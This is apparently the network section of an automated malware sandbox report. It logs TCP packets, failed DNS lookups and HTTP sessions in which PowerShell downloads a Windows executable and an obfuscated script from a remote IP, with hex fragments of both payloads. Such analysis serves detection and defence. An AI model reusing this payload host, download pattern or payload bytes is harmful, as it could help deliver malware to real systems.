                                                        Dec 18, 2024 09:31:28.548911095 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.549714088 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.549777985 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.549794912 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.550729990 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.550798893 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.550811052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.551798105 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.551810980 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.551875114 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.552598953 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.552661896 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.552666903 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.553597927 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.553643942 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.553864956 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.554531097 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.554558039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.554625988 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.555634022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.555655956 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.555772066 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.556534052 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.556612015 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.556648970 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.557452917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.557533979 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.557552099 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.558361053 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.558413982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.558531046 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.559391022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.559520960 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.559578896 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.560368061 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.560412884 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.560424089 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.561414003 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.561425924 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.561489105 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.562237978 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.562293053 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.562406063 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.563294888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.563308954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.563359022 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.564209938 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.564279079 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.564296007 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.565198898 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.565248966 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.565270901 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.566452026 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.566652060 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.566684008 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.567370892 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.567467928 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.567502022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.568221092 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.568269014 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.568305016 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.569308996 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.569320917 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.569372892 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.570132017 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.570151091 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.570230961 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.571019888 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.571072102 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.571091890 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.572000980 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.572097063 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.705605984 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.705741882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.705813885 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.706034899 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.706197977 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.706274033 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.707110882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.707128048 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.707298040 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.707993984 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.708129883 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.708201885 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.708930016 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.709050894 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.709101915 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.709954023 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.710047007 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.710117102 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.710923910 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.710977077 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.711162090 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.711847067 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.712011099 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.712093115 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.712874889 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.712954044 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.713009119 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.713876963 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.713970900 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.714020967 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.722484112 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.722668886 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.722784996 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.723033905 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.723104000 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.723151922 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.724067926 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.724081039 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.724183083 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.725157022 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.725169897 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.725241899 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.725893021 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.725938082 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.726005077 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.726913929 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.727024078 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.727087021 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.728043079 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.728055954 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.728121042 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.728813887 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.728880882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.728926897 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.730170965 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.730182886 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.730242014 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.731117964 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.731128931 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.731187105 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.731933117 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.732099056 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.732157946 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.732948065 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.733019114 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.733067036 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.733745098 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.733903885 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.733985901 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.734599113 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.734611988 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.734679937 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.735727072 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.735738993 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.735881090 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.736598969 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.736610889 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.736660957 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.737514973 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.737592936 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.737663031 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.738535881 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.738548040 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.738625050 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.739363909 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.739595890 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.739648104 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.740395069 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.740442991 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.740515947 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.741345882 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.741440058 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.741502047 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.742352009 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.742873907 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.742993116 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:28.743277073 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:28.798378944 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:31.144656897 CET4970680192.168.2.8139.99.188.124

                                                        UDP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 18, 2024 09:31:33.140090942 CET6114753192.168.2.81.1.1.1
                                                        Dec 18, 2024 09:31:33.364152908 CET53611471.1.1.1192.168.2.8
                                                        Dec 18, 2024 09:31:50.590809107 CET5906553192.168.2.81.1.1.1
                                                        Dec 18, 2024 09:31:50.938957930 CET53590651.1.1.1192.168.2.8
                                                        Dec 18, 2024 09:31:51.080401897 CET5982453192.168.2.81.1.1.1
                                                        Dec 18, 2024 09:31:51.218044996 CET53598241.1.1.1192.168.2.8

                                                        DNS Queries

                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                        Dec 18, 2024 09:31:33.140090942 CET192.168.2.81.1.1.10xf925Standard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
                                                        Dec 18, 2024 09:31:50.590809107 CET192.168.2.81.1.1.10xb183Standard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false
                                                        Dec 18, 2024 09:31:51.080401897 CET192.168.2.81.1.1.10x98edStandard query (0)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsA (IP address)IN (0x0001)false

                                                        DNS Answers

                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                        Dec 18, 2024 09:31:33.364152908 CET1.1.1.1192.168.2.80xf925Name error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                        Dec 18, 2024 09:31:50.938957930 CET1.1.1.1192.168.2.80xb183Name error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false
                                                        Dec 18, 2024 09:31:51.218044996 CET1.1.1.1192.168.2.80x98edName error (3)nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigsnonenoneA (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • 139.99.188.124

                                                        HTTP Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.849705139.99.188.124802952C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 18, 2024 09:31:20.445193052 CET166OUTGET /hUrTgQM HTTP/1.1
                                                        User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                        Host: 139.99.188.124
                                                        Connection: Keep-Alive
                                                        Dec 18, 2024 09:31:21.969986916 CET1236INHTTP/1.1 200 OK
                                                        Date: Wed, 18 Dec 2024 08:31:20 GMT
                                                        Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                        Last-Modified: Tue, 03 Dec 2024 06:24:05 GMT
                                                        ETag: "da2a8-62857b643c87b"
                                                        Accept-Ranges: bytes
                                                        Content-Length: 893608
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 [TRUNCATED]
                                                        Data Ascii: MZ@!L!This program cannot be run in DOS mode.$sDR*R*R*CP*S*_@a*_@*_@g*[j[*[jw*R+r**S*_@S*RP*S*RichR*PEL_pZ"@@@@|Ppq; [@.text `.rdata@@.datatR@.rsrcP<@@.relocqpr@B
                                                        Dec 18, 2024 09:31:21.970048904 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 44 61 4c 00
                                                        Data Ascii: DaLhC\YLhCKYNhC:YhC.Y<ChCYhCYQ>hCYsLQ@sLP9hCYGhC
                                                        Dec 18, 2024 09:31:21.970084906 CET1236INData Raw: 46 04 59 83 24 b8 00 47 3b 7e 08 72 e7 ff 76 04 83 66 08 00 e8 bc fb 01 00 59 5f 5e c3 56 8b f1 57 8b 4e 78 85 c9 75 59 8b 46 7c 83 f8 0b 0f 8f 2a a4 03 00 0f 84 0a a4 03 00 83 e8 05 74 4e 83 e8 03 0f 84 df a3 03 00 48 48 0f 84 bd a3 03 00 83 66
                                                        Data Ascii: FY$G;~rvfY_^VWNxuYF|*tNHHfpNTF|N$NV\Y_^QfxNptQ,SV3WN~^^^N$NT^4^8^<^@^D~H~L^P^d^h^p^x
                                                        Dec 18, 2024 09:31:21.970122099 CET1236INData Raw: 89 45 f4 f7 d9 89 55 0c 89 4d 08 80 38 08 73 53 83 c2 08 40 89 45 f4 05 f0 f7 ff ff 03 c1 89 55 0c 3b 46 0c 8b 45 f4 7c e2 8b 46 0c 3b d8 74 1a 2b c3 50 8d 86 10 08 00 00 03 c3 50 8d 43 02 8d 04 c6 50 57 ff 15 24 01 49 00 8b 76 04 85 f6 75 8d ff
                                                        Data Ascii: EUM8sS@EU;FE|F;t+PPCPW$IvuuW_^[];t +QPCPW$IEUMtDuLMtuWzME8tM@tEujPQWEUM#E
                                                        Dec 18, 2024 09:31:21.970158100 CET1236INData Raw: 00 83 7e 4c ff 8b f8 74 03 8b 7e 4c 57 53 ff 15 40 01 49 00 6a 00 57 e8 55 08 00 00 eb 8f 8b c8 83 e9 4e 0f 84 aa 9e 03 00 83 e9 05 0f 84 90 9e 03 00 83 e9 28 0f 84 71 9e 03 00 83 e9 09 0f 84 52 9e 03 00 81 e9 8d 00 00 00 0f 84 30 9e 03 00 49 0f
                                                        Data Ascii: ~Lt~LWS@IjWUN(qR0IIIDjUuuR+t#I4Iu-V&SVPWPVItIIhQQVCj~jwQHjUVW
                                                        Dec 18, 2024 09:31:21.970213890 CET1236INData Raw: 0f 85 55 9c 03 00 5f 5e 5b 8b e5 5d c2 0c 00 8b 7d 0c 66 8b 46 58 80 bf 90 00 00 00 07 66 89 87 88 00 00 00 66 8b 46 5c 66 89 87 8a 00 00 00 74 5f 66 8b 46 60 66 89 87 8c 00 00 00 66 8b 46 64 66 89 87 8e 00 00 00 8d 45 dc 50 ff 37 ff 15 34 06 49
                                                        Data Ascii: U_^[]}fFXffF\ft_fF`ffFdfEP74I9^Xt=9^\tEEP7I9^`9^d{}tfEffEfUwLMEtAXEtA\E~A`E~Ad]
                                                        Dec 18, 2024 09:31:21.970249891 CET1236INData Raw: 8b 4d 08 56 57 85 c9 0f 88 9e 9b 03 00 83 f9 03 7c 50 3b 8a 84 00 00 00 7f 48 8b 42 74 8b 04 88 8b 00 85 c0 74 3c 8b 75 10 8b 40 04 89 0e 8b 4d 0c 89 01 8b c8 8b 42 60 8b 04 88 83 38 00 74 22 8b 0e 83 f9 03 7c 1b 3b 8a 84 00 00 00 7f 13 8b 42 74
                                                        Data Ascii: MVW|P;HBtt<u@MB`8t"|;Bt8t_^]2UVW};FttQ?Ft ;u?|Ft8uO}NxNxFt4FtYNx$~xvNxFtD
                                                        Dec 18, 2024 09:31:21.970347881 CET1236INData Raw: f8 89 45 0c 83 7d 20 ff 75 46 6a 00 8d 45 e8 50 6a 00 6a 30 ff 15 40 07 49 00 6a 08 ff 15 58 05 49 00 8b 4d ec 2b 4d 18 03 4d f4 2b c8 8b c1 99 2b c2 d1 f8 89 45 20 f7 c3 00 00 40 00 74 11 6a 04 ff 15 58 05 49 00 6a fe 99 59 f7 f9 01 45 20 ff 75
                                                        Data Ascii: E} uFjEPjj0@IjXIM+MM++E @tjXIjYE uEujjPIuEjSPIE+Ej5xLju$PE+EPu uSuhIu IVjPIE$GEG<E G@EP74IE+EGDE+EjjGH
                                                        Dec 18, 2024 09:31:21.970402956 CET1236INData Raw: 00 50 66 a1 b8 77 4c 00 66 89 86 86 00 00 00 8b 55 1c 8b 45 10 8b 4d 14 8b 7d 18 89 55 fc 8b 55 28 83 e2 02 89 45 ec 89 4d f0 89 7d f8 89 55 d8 0f 85 28 9b 03 00 53 ff 75 1c 57 51 50 e8 f4 f1 ff ff 8b 7b 60 8b 43 58 8b 4b 5c 89 7d f8 8b 7b 64 89
                                                        Data Ascii: PfwLfUEM}UU(EM}U(SuWQP{`CXK\}{dEM}U}E$2@u$u uuuuWVSUM(xLHxL=DxL}ujVS4{Pu1{T
                                                        Dec 18, 2024 09:31:21.970441103 CET1236INData Raw: 39 4d 08 7e 46 6a 30 5a 85 ff 78 3f 8b 45 f4 0f b7 04 78 83 f8 39 77 41 66 3b c2 72 3c 2b c2 51 53 99 52 50 e8 64 2b 03 00 01 06 8b 4d fc 11 56 04 4f 8b 45 f8 0f a4 d9 04 6a 30 c1 e3 04 40 89 4d fc 89 45 f8 5a 3b 45 08 7c bd 83 ff ff 75 20 b0 01
                                                        Data Ascii: 9M~Fj0Zx?Ex9wAf;r<+QSRPd+MVOEj0@MEZ;E|u _^[]AF7&f2V~t~Wu~F_N^NytQ~FyuyA@t@yuyAt@UV~u
                                                        Dec 18, 2024 09:31:22.089796066 CET1236INData Raw: 83 66 04 00 eb df 33 f6 eb e5 55 8b ec 56 8b 75 08 57 8b f9 85 f6 74 54 83 7e 18 00 74 08 ff 76 18 e8 e4 ff ff ff 83 7e 1c 00 75 46 80 7e 10 00 75 15 8b 7e 14 85 ff 74 0e 8b cf e8 29 16 00 00 57 e8 ef d4 01 00 59 8b 46 0c ff 08 8b 46 0c 83 38 00
                                                        Data Ascii: f3UVuWtT~tv~uF~u~t)WYFF8u6vYYVY_^]vUQS]VuWM)!_^[]U}tDVW}EPWPuV#yNOwf_^]~FGwfE`


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        1192.168.2.849706139.99.188.124806872C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        TimestampBytes transferredDirectionData
                                                        Dec 18, 2024 09:31:24.823900938 CET73OUTGET /mzmLv.txt HTTP/1.1
                                                        Host: 139.99.188.124
                                                        Connection: Keep-Alive
                                                        Dec 18, 2024 09:31:26.319664001 CET1236INHTTP/1.1 200 OK
                                                        Date: Wed, 18 Dec 2024 08:31:24 GMT
                                                        Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                                                        Last-Modified: Tue, 03 Dec 2024 06:24:05 GMT
                                                        ETag: "130612-62857b6439618"
                                                        Accept-Ranges: bytes
                                                        Content-Length: 1246738
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Content-Type: text/plain
                                                        Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 4f 64 48 42 74 20 3d 20 32 38 20 54 6f 20 38 36 35 0a 49 66 20 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 32 20 54 68 65 6e 0a 53 71 72 74 28 37 39 35 35 29 0a 46 69 6c 65 45 78 69 73 74 73 28 [TRUNCATED]
